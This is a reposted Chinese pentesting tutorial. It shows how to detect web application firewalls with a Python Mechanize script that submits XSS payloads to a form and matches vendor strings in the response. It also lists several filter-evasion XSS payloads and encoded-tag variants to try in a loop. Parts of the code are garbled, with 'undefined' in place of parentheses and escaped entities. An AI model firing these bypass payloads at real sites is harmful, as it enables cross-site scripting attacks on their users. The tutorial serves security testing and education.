专栏首页FreeBuf使用Python检测并绕过Web应用程序防火墙

使用Python检测并绕过Web应用程序防火墙

Web应用防火墙通常会被部署在Web客户端与Web服务器之间,以过滤来自服务器的恶意流量。而作为一名渗透测试人员,想要更好的突破目标系统,就必须要了解目标系统的WAF规则。如今,许多WAF都是基于签名的。下图简单描绘了一个Web应用防火墙的工作流程:

什么是基于签名的防火墙?

在基于签名的防火墙中你可以自定义签名,如果你知道某种网络攻击遵循某种类型的模式或签名。那么你就可以定义匹配模式过滤掉它们,例如:

Payload:- <svg><script>alert&grave;1&grave;<p>

上面定义的是一种常见的XSS payload,我们知道所有这类攻击都可能包含- >“<script>”这些字符 ,因此我们可以在WAF中设定一个包含这些字符的的过滤规则,我们可以进行如下定义:

1. <script> 2. alert(*)

第一个签名将过滤任何包含<script>字符串的请求,第二个将过滤任何包含alert(*)字符串的请求。

如何判断目标环境是否部署防火墙?

当我们对一个系统进行渗透时,如果你忽略了防火墙的存在,那么就会为我们的测试带来诸多的麻烦。因此在开始真正的渗透之前,我们最好能先判断下目标系统是否存在WAF。那么我们该如何进行判断呢?我们还拿以上定义的payload来举例。在通常情况下,如果我们在一个部署有WAF的系统上执行以上payload,那么在http的响应中我们将能捕获到WAF留下的轨迹:

HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the

requested resource could not be found on this server. This error was 
generated by Mod_Security

可以看到,我们的payload被名为Mod_Security的防火墙给过滤了。在本文中我将教大家编写一个简单的python脚本,以帮助我们完成检测任务并绕过防火墙。

步骤1:定义HTML文档和PHP脚本!

首先,我们必须定义我们的HTML文档来注入payload和相应的PHP脚本以处理数据。

HTML文档定义如下:

<html>
<body>
<form name="waf" action="waf.php" method="post">
Data: <input type="text" name="data"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>

PHP脚本:

<html>
<body>
Data from the form : <?php echo $_POST["data"]; ?><br>
</body>
</html>

步骤2:准备恶意请求!

为了检测防火墙的存在与否,第二步我们需要创建一个会被防火墙阻止的恶意跨站脚本请求。这里我将用到一个名为“Mechanize”的python模块,了解更多关于此模块的信息,请阅读下文<点击阅读原文查看链接>:

Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize

如果你已经了解了Mechanize模块,可以跳过此文章的阅读。现在,我们就可以对任意页面提供的Web表单发起请求了。实现代码如下:

import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.
html")
maliciousRequest.select_form(formName)

让我来简单解释下这几行代码的用意:

  1. 在第一行代码,我们首先导入了mechanize模块,并给它了一个简称’mec’以便我们后续使用。
  2. 要想使用mechanize下载网页,我们需要实例化浏览器。因此在第二行代码中,我们实例化了浏览器。
  3. 在步骤1中我们定义了我们的HTML文档,其中表单名称为“waf”。因此在第三行代码中,我们需要告诉mechanize要选择以此命名的表单进行提交,所以formName变量为‘waf’。
  4. 第四行代码就是打开目标URL地址,并提交我们的数据。
  5. 最后我们使用’select_form()’函数传递’formName’变量。

在以上的HTML文档中,我们只定义了一个表单输入字段,我们将利用该字段注入我们的恶意payload,并通过检查http响应信息来判断目标是否部署了Web应用防火墙。

步骤3:准备payload

在HTML文档中我们定义了一个名为’data’的输入字段:

input type="text" name="data"><br>

因此,我们可以使用以下代码来提交我们的payload:

crossSiteScriptingPayLoad = "<svg><script>alert&grave;1&grave;
<p>"maliciousRequest.form['data'] = crossSiteScriptingPayLoad

  1. 第一行代码我们首先将payload赋给了变量 ‘crossSiteScriptingPayLoad’。
  2. 第二行代码我们将payload提交给了表单字段“data”。

步骤4:提交表单并记录响应

下面我们提交此表单并记录响应信息:

maliciousRequest.submit()

response = maliciousRequest.response().read()

print response

  1. 提交表单
  2. 将响应赋给变量。
  3. 将将响应信息打印出来。

由于我目前并未安装部署防火墙,所以我得到了如下响应:

可以看到payload被打印在了HTML文档中,这也说明应用程序代码中没有任何的过滤机制,并且由于没有防火墙的保护,我们的恶意请求也未被阻止。

步骤5:防火墙部署检测

变量’response’中包含了从服务器获取的响应信息,也是我们判断目标环境是否部署防火墙的重要依据。下面,我们将针对以下几款防火墙进行检测。

  1. WebKnight
  2. Mod_Security
  3. Dot Defender

看看我们如何用python代码实现检测:

if response.find('WebKnight') >= 0:
       print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
      print "Firewall detected: Dot Defender"
else:
      print "No Firewall Present"

这段代码首先我们对WebKnight的防火墙做了判断。如果目标环境安装了WebKnight,那么在我们的响应中将包含字符串“WebKnight”,并且find函数的返回值也将会大于0。同样,对于另外两个防火墙亦是如此。

当然我们还可以继续扩展我们的python脚本,用以检测更多的防火墙类型,但前提是必须了解这些防火墙的基本响应特征。

使用暴力测试攻击绕过防火墙过滤器

在文章开头我就说过,如今的大多数防护墙都是基于签名来过滤我们的请求流量的。但是,这并不意味着我们就拿它没办法了。随着Javascript的日趋复杂,我们可以用它来构建数千种的payload并逐一进行尝试,以绕过防火墙的检测。需要说明的是如果防护墙规则被明确定义,那么该方法可能会失效。下面让我们使用python脚本,来帮助我们完成暴力测试攻击:

listofPayloads = ['&lt;dialog open="" onclose="alertundefined1)"&gt;
&lt;form method="dialog"&gt;&lt;button&gt;Close me!&lt;/button&gt;&lt;
/form&gt;&lt;/dialog&gt;', '&lt;svg&gt;&lt;script&gt;prompt&amp;#40 
1&amp;#41&lt;i&gt;', '&lt;a href="&amp;#1;javascript:alertundefined1)"
&gt;CLICK ME&lt;a&gt;']
for payLoads in listofPayloads:
    maliciousRequest = mec.Browserundefined)
    formName = 'waf'
    maliciousRequest.openundefined"http://check.cyberpersons.com/cross
SiteCheck.html")
    maliciousRequest.select_formundefinedformName)
    maliciousRequest.form['data'] = payLoads
    maliciousRequest.submitundefined)
    response = maliciousRequest.responseundefined).readundefined)
    if response.findundefined'WebKnight') &gt;= 0:
        print "Firewall detected: WebKnight"
    elif response.findundefined'Mod_Security') &gt;= 0:
        print "Firewall detected: Mod Security"
    elif response.findundefined'Mod_Security') &gt;= 0:
        print "Firewall detected: Mod Security"
    elif response.findundefined'dotDefender') &gt;= 0:
        print "Firewall detected: Dot Defender"
    else:
        print "No Firewall Present"

  1. 在第一行代码中,我们定义了3个payload的列表,你还可以根据需求添加更多的payload扩展此列表。
  2. 接着在for循环中,我们进行了之前所做相同判断过程,但这一次我们需要对应列表中的每个payload。
  3. 收到响应后,我们可以再次确认防火墙是否真的存在。

由于我并未安装部署防火墙,所以我得到了如下响应:

将HTML标签转换为Unicode或Hex实体

如果防火墙正在过滤html标签,如<,>。我们则可以尝试将这些实体进行Unicode或Hex转码再进行发送,如果被转化为原始形式,那么这也将成为我们的一个突破口。我们可以使用以下代码进行判断:

listofPayloads = ['&lt;b&gt;','\u003cb\u003e','\x3cb\x3e']
for payLoads in listofPayloads:
     maliciousRequest = mec.Browser()
     formName = 'waf'
     maliciousRequest.open("http://check.cyberpersons.com/crossSite
Check.html")
     maliciousRequest.select_form(formName)
     maliciousRequest.form['data'] = payLoads
     maliciousRequest.submit()
     response = maliciousRequest.response().read()
     print "---------------------------------------------------"
     print response
     print "---------------------------------------------------"

我的输出结果如下:

从结果可以看到,并没有编码的条目被转换为其原始格式。

总结

通过本文的介绍,相信大家已经对防火墙有了一个基本的了解和认识。作为一名安全测试人员,了解和掌握防火墙的工作机制是非常必要的。而对于企业而言,更不能忽视了安全的重要性。完整的代码可以。

本文分享自微信公众号 - FreeBuf(freebuf),作者:secist

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-07-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 看我如何绕过某托管公司域上的强大XSS过滤器

    本文为大家分享的是最近一次绕过某托管公司域上的XSS过滤器的经历。话不多说,下面我们直入主题!

    FB客服
  • F-Secure Internet Gatekeeper中的堆溢出漏洞分析

    在这篇文章中,我们将对F-Secure Internet Gatekeeper应用程序中的一个堆溢出漏洞进行解析,并介绍为何一个简单的错误就导致了一个可利用的未...

    FB客服
  • Metasploitable 2系列教程:漏洞利用之Unreal IRCd 3.2.8.1

    这篇文章中,将会介绍如何利用 Metasploitable 2 上 Unreal IRCd service 存在的漏洞;学习如何对网络服务进行枚举,及如何定义和...

    FB客服
  • 黑客用Python:检测并绕过Web应用程序防火墙

    Web应用防火墙通常会被部署在Web客户端与Web服务器之间,以过滤来自服务器的恶意流量。而作为一名渗透测试人员,想要更好的突破目标系统,就必须要了解目标系统的...

    小小科
  • Hbase compaction 源码分析一:compaction 概况分析

    本文档从框架的源码角度梳理了,hbase 在什么情况下会触发compaction,并通过官方文档说明出发minor 和major compaction的时间点。

    sundyxiong
  • Groovy-2.基本语法

    as,assert,break,case,catch,class,const,continue,def,default,do,else,enum,extends...

    悠扬前奏
  • PyQt十讲 | DIY记事本小程序界面

    记得小学的时候第一次使用windows系统的电脑,当时的操作系统还是windows98,课本上说明了一个窗口程序一般包含几个基本要素:有最大化、最小化、关闭,有...

    潘永斌
  • Kotlin 的 Property Delegate 与 Swift 的 Property Wrapper

    Swift 想必大家都已经非常熟悉了,它是苹果公司推出的一门开源语言。Swift 与 Kotlin 几乎是同一段时间开始研发,也是前后呈现在公众面前。二者语法设...

    bennyhuo
  • 分布式系统中的跨域请求问题

    在构建分布式系统时,将门户系统(负责前端页面展示的控制器)和获取数据的系统(从数据库获取资料)分开。在开发过程中,会遇到跨域请求问题。

    Carlos Ouyang
  • 【干货】”首个“ .NET Core 验证码组件

    众所周知,Dotnet Core目前没有图形API,以前的System.Drawing程序集并没有包含在Dotnet Core 1.0环境中。不过在dotne...

    yoyofx

扫码关注云+社区

领取腾讯云代金券